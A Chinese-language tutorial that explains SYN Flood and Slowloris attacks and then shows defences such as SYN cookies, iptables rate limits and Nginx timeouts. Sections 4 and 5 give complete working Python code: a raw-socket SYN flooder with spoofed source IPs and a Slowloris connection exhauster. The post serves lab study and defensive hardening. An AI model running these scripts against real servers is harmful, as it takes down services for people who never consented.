Python实现DoS攻击模拟：从SYN Flood原理到防御实战

1. 从一次应急响应说起：为什么要研究DoS攻击原理

两年前我处理过一起业务中断事件，某平台晚间高峰期突然无法访问，运维同事第一反应是“服务器是不是被打爆了”。登录机器一看，CPU倒是不高，但ss -s显示TCP连接数暴涨，大量连接卡在SYN_RECV状态，业务进程根本来不及处理正常的请求。最后确认是典型的SYN Flood攻击，流量不算大，但足以把应用层拖垮。

那次事件之后我有个很深的体会：防御方如果对攻击原理的理解只停留在“有人打我们”这个层面，是没有办法做出有效防护的。你得知道攻击报文长什么样、为什么会让系统卡死、哪些内核参数和中间件设置能扛住什么样的压力——这些问题的答案，恰恰藏在攻击代码的原理分析里。这也是我今天想聊“Python DoS攻击代码实操”的初衷：用写代码的方式，把一个攻击类型的每一个字节、每一次握手、每一段超时都吃透，然后才能知道该怎么守。

需要先把边界说清楚：本文所有内容仅限于在自己搭建的隔离实验环境中研究原理、测试防护策略，或用于获得了明确授权的安全测试与攻防演练。任何针对未授权目标的DoS行为都是违法的，这个没啥可商量的。我下面写的所有思路和代码片段，都默认你是在自己的虚拟机上操作，目标也是自己控制的靶机。

这个内容适合谁来读？我建议这几类人重点看看：刚入门网络安全、想搞明白“攻击到底怎么起作用”的初学者；做运维或业务开发、被安全问题搞得焦头烂额想补短板的人；以及准备参加攻防演练、需要快速理解流量特征和加固手段的蓝队同学。纯想拿脚本去打别人的，可以关掉这篇文章了，方向不对。

2. 先把DoS攻击的底牌翻出来：三类常见手法的本质逻辑

写代码之前，得先建立对攻击类型的整体认知。DoS（Denial of Service，拒绝服务）攻击的核心目标只有一个：让目标系统无法提供正常服务。但达到这个目标的路子千差万别，我从资源消耗的角度把它们分成了三大类，每一类的代码实现逻辑完全不同。

2.1 协议栈漏洞型攻击：打的是系统内核的软肋

这类攻击利用的是TCP/IP协议栈实现中的设计缺陷或资源管理弱点。最典型的就是SYN Flood：TCP连接建立需要三次握手，客户端先发SYN，服务器回应SYN+ACK，然后等客户端的ACK。如果客户端只发SYN、永远不回ACK，服务器就会在收到SYN后为这个半连接分配资源（内存中的连接控制块、发送队列等），并等待一段时间（Linux默认一般是几十秒到几分钟）。攻击者短时间内发送海量伪造源IP的SYN包，服务器的半连接队列被填满，后续的正常连接请求就被直接丢弃了。

这件事的荒诞之处在于，攻击者其实没有完成任何一次完整的TCP连接，纯粹用“只开口不闭口”的方式把系统的接待能力给耗尽了。相当于你开了一家餐厅，有人不断打电话订座但从不来，把电话线路全占了，真正的客人根本打不进来。

2.2 协议行为型攻击：用合法姿势干非法的事

第二类攻击不碰协议漏洞，而是利用协议允许的正常行为，把资源消耗放大到极致。典型代表是HTTP慢速攻击（Slowloris）和HTTP大流量请求（CC攻击）。

Slowloris的思路特别“阴险”：HTTP协议允许客户端分多次发送请求头，于是攻击者建立大量TCP连接，每建立一个连接就发一个不完整的HTTP请求头，然后每隔几十秒再补几个字节，让服务器永远在等剩余的头部数据，连接一直被占着不放。Apache这类服务器默认的并发连接数是有限的（比如MaxClients设成150），攻击者只要开满150个这样的僵尸连接，其他正常用户就再也进不来了。

这类攻击的杀伤力在于报文量极小——一个攻击机可能只发几KB的流量，就能把一台配置还不错的服务器打趴下，传统基于流量阈值的清洗设备很难识别这种“看起来很正常的慢速请求”。

2.3 资源耗尽型攻击：带宽与计算力的角力

第三类最简单粗暴：直接灌流量。用大带宽把目标服务器的接入带宽占满，或者用大量需要耗费CPU/内存的合法请求（比如复杂的数据库查询、大文件下载）把计算资源耗尽。Python写这类东西其实效率不高（GIL瓶颈、高并发能力弱），实际攻击中更多用的是C、Go或者现成的压测工具，比如hping3、LOIC。但从学习角度看，理解这类攻击需要搞清楚的是放大效应怎么产生，以及什么样的业务接口最容易成为靶点，这部分我会在代码环节顺带讲。

三类攻击的学习侧重点，我整理了个表：

对写代码的人来说，这个分类直接决定了你用什么层级的接口去实现：SYN Flood得用原始套接字（Raw Socket）自己构造IP/ TCP报文；Slowloris用普通的TCP Socket就够了；资源耗尽型更像是写一个高并发请求客户端。下面我重点拆前两类，因为它们的“技术含量”最高，也最值得从代码层面去理解。

3. 搭一个只能用于学习的实验环境：隔离是第一原则

实验环境的设计是整个研究的基础，很多初学者在这一步就栽了跟头——不是在真机上乱试（把自己电脑搞到断网），就是没做好隔离（把宿舍/公司网络打得卡死）。我建议按下面的拓扑来搭建，成本几乎为零，但安全性拉满。

3.1 最小实验拓扑与流量流向

你需要至少两台虚拟机，我常用的方案是：

• 攻击机：一台Kali Linux虚拟机，也可以随便装个Ubuntu，只要支持Python3和root权限就行。
• 靶机：另一台Ubuntu/CentOS虚拟机，跑一个Nginx或Apache，再配个简单的Python HTTP服务，用来观察服务被攻击时的表现。
• 网络模式：两台虚拟机都使用Host-Only（仅主机）网络模式，或者干脆在同一个虚拟机网络里，保证攻击流量不会经过物理路由器，这是最重要的隔离原则。

为什么强调Host-Only？因为它创建的虚拟网段只有宿主机和同模式的虚拟机能访问，相当于一个“与世隔绝的小实验室”，流量不会跑到外网去，也不会干扰其他设备。如果用桥接模式，虚拟机直接暴露在局域网里，一旦实验中出现流量异常，先遭殃的是你室友/同事的电脑。

靶机上我一般跑两个服务方便对比：Nginx监听80端口用于观察HTTP层表现，另外用python3 -m http.server 8080跑一个简单的静态文件服务用于功能测试。攻击前后分别访问一下这两个服务，能直观看到“连通性有没有变化、响应有没有变慢”。

3.2 基于Docker的轻量化替代方案

如果你的电脑配置比较吃紧，也可以不用完整虚拟机，直接用Docker起两个容器做实验。Docker的网络模式用none或者自定义桥接网络，同样可以把流量控制在单机范围内。我自己在演示教学时常用这个方案，起一个容器跑Nginx作靶机，宿主机直接跑攻击脚本，效果完全够用。

但有一个坑要提醒你：Docker容器对网络协议栈的行为和物理机/虚拟机有一些细微差别，特别是在观察半连接队列、内核参数调优时，容器里看到的数值可能和真实物理机不完全一致。建议严肃一点的实验（比如做内核参数调优验证）还是用虚拟机，Docker适合快速验证脚本逻辑。

3.3 实验前必须要做好的三件事

第一，快照/镜像保存。在靶机上做完系统配置后、开始攻击实验前，务必打一个快照。原因很实在：SYN Flood实验有可能把靶机的网络栈搞到需要重启才能恢复，或者内核参数被你调乱了想恢复原状，这时候快照一键还原比手动改回来省事太多了。

第二，明确实验时间窗口。我一般给自己限定“攻击持续60秒、观察5分钟、恢复5分钟”这样一个节奏，避免长时间压测把虚拟机的磁盘或者日志写满。

第三，通信预案。实验前确认你还能通过什么方式控制靶机——比如宿主机上开个终端随时能ssh进去，不然靶机网络被攻击打到瘫痪时，你可能连系统状态都没法看了。

4. 用Python实现SYN Flood模拟器：从原始套接字到完整代码

搞定环境之后，我们开始第一个核心实验：用Python写一个SYN Flood的模拟器。这个脚本实现的不是“真正的攻击工具”，而是一个带可控参数的研究探针，用来观察TCP半连接队列在不同注入速率下的表现。

4.1 为什么必须用原始套接字

普通的Socket编程，你只能按TCP协议栈的流程发数据，内核根本不让你“只发SYN、不发ACK”。要构造一条“不存在”的连接请求，必须绕过内核的协议栈，直接自己组装IP头和TCP头，通过原始套接字（socket.SOCK_RAW）把报文丢给网卡。原始套接字的意思是“给你一个管道，你可以往里面塞任意字节的报文”，但这也意味着你必须自己搞定IP头校验和、TCP头校验和、字节序，任何一个算错了，报文发出去对端根本不认。

用Python的socket模块创建原始套接字的方式很简单：

import socket # 创建原始套接字，需要root权限 s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) # 设置IP头自己构造 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

关键点就两个：SOCK_RAW表示原始套接字，IP_HDRINCL告诉内核“IP头我自己写，你别动”。创建这个套接字需要root权限，所以实验时一定要用sudo运行脚本。

4.2 手写IP头和TCP头：理解每一个字段

SYN Flood的核心就是构造一个最小的IPv4 TCP SYN报文。IP头固定20字节，TCP头固定20字节（不包含选项字段），所以报文最小是40字节。我来拆一下这两个头的关键字段。

IP头中你需要填这些字段：

• version（4位）：IPv4就是4，和ihl（4位头长度，没选项就是5，表示5个32位字即20字节）合并为第一个字节0x45。
• total_length（总长度）：IP头+TCP头，这里是40字节。
• id（标识符）：随便给个随机数就行。
• ttl（生存时间）：一般设64。
• protocol：值6，代表TCP。
• src_addr（源IP）：关键中的关键，攻击效果全靠随机化这里的值。伪造源IP会让服务器的SYN+ACK应答包无法找到真正的发送者，也就永远等不到最终的ACK，连接永远停留在半开状态。
• dst_addr（目的IP）：靶机IP。
• checksum（IP头校验和）：对IP头做累加和校验，算法跟TCP校验和类似。

TCP头中关键字段：

• sport（源端口）：随机生成。
• dport（目的端口）：靶机的监听端口，比如80。
• seq（序列号）：随机生成，SYN包的序列号本质上就是一个随机初始序号。
• offset_reserved_flags：TCP头长度加标志位。data offset为5（20字节），flags里只把SYN位置1（即第二个标志字节为0x02），整个字段就是0x5002。
• checksum（TCP校验和）：它的计算范围比较特殊，除了TCP头和数据本身，还要在TCP头前面拼接一个“伪IP头”（包含源IP、目的IP、协议号、TCP长度），所以必须在知道源和目的IP之后才能算。

TCP校验和算法是网上很多教程写错的重灾区，我单独列出来，在下一小节细说。

4.3 校验和计算的正确姿势

校验和算法本身不复杂：将需要校验的数据按16位一组累加（超过16位的进位要回卷加到低位），最后取反。问题在于TCP校验和的输入不光是TCP头部本身，还有一个“伪头部”参与运算，很多人漏掉了这个导致报文一直发不出去，靶机那边tcpdump能看到包但就是没反应。

伪头部的结构是：源IP（4字节）+ 目的IP（4字节）+ 保留字节（1字节）+ 协议号（1字节，TCP为6）+ TCP报文段长度（2字节，即TCP头+数据的总长，不含伪头部）。

import struct def tcp_checksum(src_ip, dst_ip, tcp_header): """ 计算TCP校验和，需要src_ip和dst_ip构造伪头部 """ proto = socket.IPPROTO_TCP # 6 tcp_len = len(tcp_header) # 伪头部：源IP、目的IP、保留+协议、TCP长度 pseudo = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, proto, tcp_len) # 拼接伪头部和TCP头部一起做校验和 data = pseudo + tcp_header # 补0到偶数长度 if len(data) % 2 == 1: data += b'\x00' s = 0 for i in range(0, len(data), 2): word = (data[i] << 8) + data[i+1] s += word # 处理回卷进位 if s > 0xFFFF: s = (s & 0xFFFF) + 1 # 取反，得到校验和 checksum = ~s & 0xFFFF return checksum

有一个容易踩的坑：struct.pack('!4s4sBBH', ...)中，中间的0是保留字节（1字节），proto是协议号（1字节），两个加起来正好2字节，不能漏写或者把类型搞错了。我用这段代码实测是没问题的，如果你发现靶机收包但TCP握手没反应，先别怀疑系统，用tshark抓包看看TCP checksum在Wireshark里是不是显示红色报错。

4.4 完整的SYN Flood发送逻辑（教学版本）

把所有头部构造封装成一个函数，再配合主循环批量发送，这个教学版本基本就能跑起来了：

import socket import struct import random import time def build_syn_packet(src_ip, src_port, dst_ip, dst_port): """ 构造一个TCP SYN报文 返回打包好的IP+TCP字节流 """ # ------- IP头 ------- ip_ihl = 5 ip_ver = 4 ip_tos = 0 ip_tot_len = 40 # IP头20 + TCP头20 ip_id = random.randint(0, 65535) ip_frag_off = 0 ip_ttl = 64 ip_proto = socket.IPPROTO_TCP ip_check = 0 # 内核会计算IP头校验和（如果设置了IP_HDRINCL可能会覆盖，但为了保险自己算也行） ip_saddr = socket.inet_aton(src_ip) ip_daddr = socket.inet_aton(dst_ip) ip_header = struct.pack('!BBHHHBBH4s4s', (ip_ver << 4) + ip_ihl, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) # ------- TCP头 ------- tcp_source = src_port tcp_dest = dst_port tcp_seq = random.randint(0, 0xFFFFFFFF) tcp_ack_seq = 0 tcp_offset_res = (5 << 4) + 0 # 数据偏移5个32位字，保留位为0 tcp_flags = 0x02 # SYN标志 tcp_window = 8192 tcp_check = 0 tcp_urg_ptr = 0 tcp_header_no_checksum = struct.pack('!HHLLBBHHH', tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) # 计算TCP校验和，需要传入伪头部 tcp_check = tcp_checksum(src_ip, dst_ip, tcp_header_no_checksum) tcp_header = struct.pack('!HHLLBBHHH', tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) return ip_header + tcp_header def syn_flood(dst_ip, dst_port, count=1000, interval=0.001): """ 发送指定数量的SYN包 """ s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) sent = 0 for _ in range(count): src_ip = f"{random.randint(1,254)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}" src_port = random.randint(1024, 65535) packet = build_syn_packet(src_ip, src_port, dst_ip, dst_port) s.sendto(packet, (dst_ip, 0)) sent += 1 if sent % 100 == 0: print(f"[*] 已发送 {sent} 个SYN包") time.sleep(interval)

说实话，这个脚本直接拿去做真正的攻击是“不合格”的——它没有做源端口和源IP的高效随机化（直接开一整段随机IP容易造成广播风暴，真实攻击会精心设计）、没有多线程并发、没有考虑绕过状态化防火墙的技巧。但作为学习工具它刚刚好：每一行都可以读，每一个字段都能在Wireshark里对照着看，这才是它的价值所在。

4.5 教学实验：观察SYN Flood对系统的影响

脚本写好后，在靶机上提前做好观测准备，然后开始实验。我给一个标准的操作流程：

准备阶段（靶机上执行）：

# 查看TCP连接状态统计 ss -s # 开启抓包，抓取80端口的流量 sudo tcpdump -i eth0 'tcp port 80' -w syn_flood.pcap # 查看半连接队列当前长度 watch -n 1 'ss -n state syn-recv | wc -l'

攻击阶段（攻击机上执行）：

sudo python3 syn_flood.py --dst 192.168.56.101 --port 80 --count 5000 --rate 1000

观察重点：ss -n state syn-recv的计数会快速上涨，当它超过内核参数tcp_max_syn_backlog（默认通常为512或1024）后，新生SYN请求被丢弃，正常访问无法建立连接。如果同时用浏览器访问靶机的Nginx，会出现连接超时或者转圈很久才返回错误。

实验结束后要看看靶机日志和抓包文件，你会发现在半连接队列还没满的时候，已经有大量SYN+ACK重传在反复发送，这些重传本身就是额外的资源开销。

5. 慢速攻击模拟：Slowloris的Python实现与流量特征

理解了SYN Flood之后，我们再来看一个完全不同思路的攻击——Slowloris。如果说SYN Flood是“用蛮力堵门”，Slowloris就是“用阴招占座”。

5.1 Slowloris为什么能成功：并发连接上限之后的真相

几乎所有Web服务器都有最大并发连接数限制。Nginx默认的worker_connections通常不高（1024左右），Apache的MaxRequestWorkers也可能是150或256。在连接数被占满之前，服务器会对每个TCP连接保持HTTP会话直到请求处理完成；而Slowloris攻击者的每种策略，都是要让这些连接“一直处在请求还没发送完的状态”。

服务器对请求头接收是有超时机制的，Apache默认Timeout是60秒或300秒。如果客户端在超时时间内一直接收不到完整的头部，连接会被断开。Slowloris的核心技巧就一句话：在超时之前，每次只发一点点数据，把连接续命。比如每30秒发几个字节，服务器一看“连接还有数据在来”，就继续等，连接就一直占着。就这样，你用几十个并发连接，就能把一个中等配置的Web服务器拖到无法服务正常用户。

5.2 用Python写一个Slowloris模拟器

Slowloris的实现门槛比SYN Flood低太多了，不需要原始套接字，不需要算校验和，用标准库的socket就行。它的难点在网络设计的“持久化连接管理”上——你要维护一大批连接，并持续给它们“喂食”。

import socket import time import threading def slowloris_attack(target_ip, target_port=80, num_connections=200, interval=10): """ Slowloris攻击模拟：建立大量连接并持续发送不完整的HTTP请求头 """ sockets = [] # 建立连接并发送初始的不完整请求头 for i in range(num_connections): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # 关键：这里故意不发送完整的请求头，只发请求行和一个头部字段 s.send(b"GET / HTTP/1.1\r\n" b"Host: 192.168.56.101\r\n" b"User-Agent: Mozilla/5.0\r\n") sockets.append(s) print(f"[+] 建立第 {i+1} 个连接") except Exception as e: print(f"[-] 连接失败: {e}") # 持续发送少量字节，保持连接活跃 try: while True: for s in sockets: try: # 关键：每次只发一点数据，让服务器继续等待 s.send(b"X-a: b\r\n") except Exception: # 连接断了就移除，并尝试补建 sockets.remove(s) try: new_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) new_s.settimeout(5) new_s.connect((target_ip, target_port)) new_s.send(b"GET / HTTP/1.1\r\n" b"Host: 192.168.56.101\r\n") sockets.append(new_s) except Exception: pass print(f"[*] 当前存活连接数: {len(sockets)}") time.sleep(interval) except KeyboardInterrupt: print("[*] 停止攻击，关闭所有连接") for s in sockets: s.close() if __name__ == "__main__": # 实验默认靶机：192.168.56.101，端口80 slowloris_attack("192.168.56.101")

代码里有几个设计细节值得琢磨：

• 初始请求头为什么不发完整？因为一旦发送空行（\r\n\r\n），服务器就认为请求头结束，会立刻处理请求并返回响应，连接就被释放了。绝对不能发空行，这是Slowloris的精髓。
• 为什么循环里每隔10秒要再发一次X-a: b\r\n？这是在模拟客户端还在继续传输请求头的状态，刷新服务器端的超时计时器。时间间隔必须小于服务器的Timeout配置，否则连接会被切断。
• 为什么连接断了要补建？因为有些服务器可能配置了防护（比如ModSecurity或中间件层的连接频率限制），或者网络抖动导致连接断开，如果不补建，攻击强度会逐渐衰减。

5.3 用观测来验证Slowloris是否生效

在靶机上用ss -tn看连接状态，你会发现大量ESTABLISHED连接处于“长时间没有数据传输”的状态（可以用netstat -tn配合awk看State列统计）。同时在攻击机上用nload看网卡流量，你会惊讶于攻击流量有多小——可能只有几KBps。这就是慢速攻击最可怕的地方：用极小的流量撬动巨大的连接资源消耗。

如果你想更直观看到“连接占满了”，在靶机上把Nginx的并发连接数调小一些（比如worker_connections 128;，重启Nginx），然后重新实验，效果会非常明显。正常用户访问时浏览器会一直转圈，直到超时。

需要特别说明的是，Slowloris的流量特征过于显著——大量来自同一源IP的长连接、长时间不闭合、请求头异常残缺，这些都是清洗设备和WAF非常容易识别的信号。所以它在真实攻击场景中已经很少单独使用，更多是作为攻击链中的一个环节。但对学习的人来说，它是理解HTTP协议状态机和超时机制的最好教材。

6. 攻击之后的系统观察：分析系统表现与内核参数

实验做完，不能看完“服务器挂了”就完事。真正的技术含量在于能不能从系统数据里读出攻击的特征和防御的线索。这一节我把实验后必看的指标和对应的内核参数梳理一遍，这是蓝队应急响应和性能调优的底层能力。

6.1 半连接队列的四张“观测快照”

SYN Flood实验中，靶机的TCP协议栈会有几个非常典型的变化。我每次实验后都会检查这四个方面，就像医生看心电图一样逐个对照：

第一，半连接队列长度。命令是ss -n state syn-recv | wc -l，正常情况下这个数字几乎为0，攻击时会在极短时间内冲高并超过tcp_max_syn_backlog。这是SYN Flood最直接的指纹。

第二，全连接队列溢出。ss -lnt能看到Recv-Q和Send-Q，当Send-Q显示为128且Recv-Q大于0时，说明有连接等待应用层accept处理，如果持续积压，说明应用层已经处理不过来了。SYN Flood虽然主要打半连接，但带来的大量SYN+ACK重传和后续连接尝试同样会挤占全连接队列。

第三，重传统计。netstat -s | grep -i "retransmit"，攻击期间被动重传（SYN+ACK重传）次数会剧增。这些重传的包本身也是资源消耗的一部分，而且是攻击特征的直接体现。

第四，内存压力。free -h看内存变化，每个半连接在内核里占用约数百字节的控制块，虽然单看不大，但几十万个连接积压起来就很可观了。如果实验用的虚拟机内存只有1GB，你会看到可用内存在攻击的几十秒内持续下降。

6.2 哪些内核参数能扛住SYN Flood

理解了攻击原理，再来看Linux内核提供的防御机制，就有了“原来如此”的感觉。下面这几个参数是无论如何都要掌握的：

这里面tcp_syncookies是Linux对抗SYN Flood最有效的武器。它的原理很巧妙：当半连接队列满时，内核不再为每个SYN分配队列槽位，而是通过计算源IP、源端口、时间戳等信息的哈希值生成一个特殊的序列号（Cookie）直接放在SYN+ACK里返回。客户端收到后要回ACK，ACK里的确认号必须带这个Cookie，服务端验证通过才分配连接资源。这就把资源分配从“收到SYN就分配”变成了“验证客户端确实活着才分配”。

我建议你做一个对比实验：第一次实验保持tcp_syncookies=0，观察半连接队列打满的时间；第二次开启tcp_syncookies=1，同一个攻击脚本跑同样时长，对比系统现象。这个实验做完，你对SYN Cookie的理解会超过读十篇教程。

注意：tcp_syncookies开启后，Cookie的计算消耗少量CPU，而且要求客户端必须支持时间戳选项（现在主流系统都支持），但在高并发场景下它并不是免费的午餐。生产环境里通常配合tcp_max_syn_backlog调大和防火墙限速一起使用。

6.3 连接跟踪表：另一种容易忽略的资源

除了队列和内存，还有一张容易被忽略的“表”——netfilter连接跟踪表（conntrack table）。Linux内核为每一条流（包括SYN的半连接）在nf_conntrack表里维护记录。默认值可能只有几万条，攻击时大量伪造源IP的连接会迅速打满这个表。一旦表满，新的连接无法建立，即使是完全正常的连接也会被拒绝。

查看方法：

# 查看当前连接跟踪数 cat /proc/sys/net/netfilter/nf_conntrack_count # 查看上限 cat /proc/sys/net/netfilter/nf_conntrack_max

这个参数的坑在于：nf_conntrack_max默认值取决于内存大小，内存小的时候默认值也小，很容易被打满。防御方面可以适当调大，但更重要的是配合防火墙做源IP的SYN速率限制，从入口处降低攻击流量进入协议栈的量级。

7. 常见坑点与排查技巧：实验过程中我踩过的雷

代码看起来简单，但实际跑起来你会发现一堆莫名其妙的问题。我把这几类高频问题整理成速查表，都是我实际踩过或者帮别人排过的雷。

7.1 校验和错误的经典陷阱

这个值得单独展开一次。我有一次在实验环境里跑代码，靶机tcpdump抓包抓到的SYN包数量是对了，但Wireshark里每个TCP段的checksum都显示“incorrect”，靶机的TCP栈直接把包扔了，攻击自然没有效果。排查了大半天，最后发现是伪头部打包时写错了字节序格式——BBH写成了BBB，导致整个校验和输入的尾部错位了两个字节。

校验和计算的本质就是把所有字节看成连续的大端序16位整数序列，然后做和取反。任何错一位、少一批都会导致校验和错误。一个相对省事的检查方法：在脚本里把拼好的整个报文写到一个hex文本里，然后在Wireshark里导入这些hex，看它的校验和计算器是否认为是对的。

7.2 发送速度上不去：问题可能在内核参数

如果脚本发送速率始终上不去（比如一秒钟只能发几百个包），先检查一下是不是文件描述符限制——ulimit -n，默认可能是1024，如果你边攻击边保持几千个连接，直接触顶。再用ss -s看看TIME_WAIT连接是不是堆积过多，如果本地端口用完，connect()会失败。这个话题虽然基础，但几乎所有人都栽过，值得养成习惯：写高并发网络脚本，先看ulimit -n、再看ip_local_port_range、最后看tcp_tw_reuse是否开启。

还有一个小坑：如果用虚拟机跑攻击机，虚拟网卡的处理能力和物理网卡不是一个量级，发送速率可能被虚拟化层拖后腿。这时候优先优化脚本逻辑（比如用socket.sendto批量发送，避免每个包两次系统调用），而不是怪Python太慢。

7.3 实验后的“清场”工作

实验结束不等于事情完了，我通常还会做三件收尾的事：

• 靶机上执行ss -s确认所有连接状态恢复，如果有大量TIME_WAIT堆积，可以临时调小tcp_fin_timeout加速回收，或者直接重启靶机的网络服务。
• 清理抓包文件，syn_flood.pcap这类文件里包含了大量伪造源IP的记录，留着没有意义，而且占磁盘空间。
• 用sysctl -p恢复之前调过的内核参数到初始值，避免下次实验时被旧配置干扰。

8. 加固视角的三种防御实验思路

理解了攻击代码之后，最高价值的转化就是做防御实验。下面这三个实验我强烈建议你在自己的环境里跑一遍，它们和攻击实验完全互补，能把“攻”和“守”拼成完整的知识闭环。

8.1 实验一：SYN Cookie与半连接队列的相互作用

关闭tcp_syncookies跑一次SYN Flood，记录半连接队列达到tcp_max_syn_backlog的时间；然后开启tcp_syncookies再跑一次，观察队列是否还会被填满。你会发现开启后，队列的确不怎么涨了——但要注意观察CPU占用，因为每个半连接都要算Cookie，CPU会有一定消耗。这个实验的结论直接指导生产环境：SYN Cookie是最后的保底手段，优先用防火墙限速和队列调优降低攻击进入协议栈的量。

8.2 实验二：防火墙层做SYN速率限制

在靶机上用iptables限制单个源IP的SYN包速率，这是生产环境最常见的缓解手段之一。命令本身不复杂：

# 限制单个IP每秒最多10个SYN包，超出的丢弃 iptables -A INPUT -p tcp --syn -m limit --limit 10/s --limit-burst 20 -j ACCEPT iptables -A INPUT -p tcp --syn -j DROP

但做防护实验时有个关键经验：限速阈值要根据业务正常流量来定，设得太低会把正常用户挡在门外。我一般建议先观察7天正常流量，取平均SYN速率的三到五倍作为限速阈值，再配合--limit-burst允许短时间突发。这类调优没有标准答案，只能结合具体业务反复试。

8.3 实验三：Slowloris的现代防御方案

Slowloris的防御不像SYN Flood那样依赖内核参数，更多是中间件和反向代理层面的配置。Nginx里主要有三个参数：client_header_timeout（默认60秒）控制请求头超时，调小到5~10秒可以快速断开不完整的请求头连接；keepalive_timeout控制长连接超时，调小可以加速空闲连接回收；limit_conn限制同一IP的并发连接数，直接掐断Slowloris“一个源建大量连接”的命门。

实验方法很简单：在靶机配置好这些参数后再跑Slowloris脚本，对比攻击前后活跃连接数的变化。你可能会发现连接数还是会涨，但涨不到打挂服务的程度了。这里有个容易被忽视的点：防御参数的配置要考虑所有通过这台服务器的流量，如果用了反向代理（比如Nginx前置），那么代理到应用服务器的连接行为和直接暴露在公网的连接行为完全不同，参数不能照搬默认值。

9. 最后分享一点实战心得

在实验环境里把这三类攻击都跑通之后，再回头看真实的防御工作，理解和以前是完全不一样的。我说几个个人体会比较深的地方。

一是看问题要同时看报文层面和系统层面。以前遇到业务卡顿，我习惯直接看应用日志，走查代码，很少去抓网络包。现在我会先问三个问题：TCP连接建立是否正常？半连接队列和全连接队列在什么水位？连接跟踪表满了没有？很多时候答案就藏在这些“底层”的数据里。比如某次线上问题排查了半天，最后发现是某个爬虫客户端的连接没有正确关闭，导致conntrack表被打满——这个场景和Slowloris造成的结果有本质相似之处。

二是学习攻击代码最重要的收获是“读流量”的能力。你能看懂Wireshark里每一个标志位的含义、每一种异常重传为什么会发生、ACK号的变化背后是什么交互过程，这种能力才是做防护的底气。写攻击脚本只是手段，不是目的——我见过有些初学者兴奋地把Slowloris脚本改得花样百出，但对SYN Cookie的握手变化一无所知，这个方向就偏了。

三是安全意识要刻在肌肉里。不管实验做得多熟练，都要习惯性地确认目标是否授权、网络是否隔离、影响范围是否可控。我给自己定了个规矩：所有攻击类代码只能在特定实验环境里跑，生产环境排查问题时只用防御侧的观测命令。这个习惯帮我避免了很多麻烦，也建议你从一开始就养成。

如果你想继续深入这个方向，下一步可以试试用Python里的scapy库重新实现SYN Flood，它的报文抽象层更简洁，适合快速原型验证；也可以学习用Go重写一遍，它的并发模型在处理高吞吐网络任务时比Python有优势。再往后，可以研究如何在Wireshark里通过流量特征精准识别这类攻击，那就是走向蓝队深水区的开始了。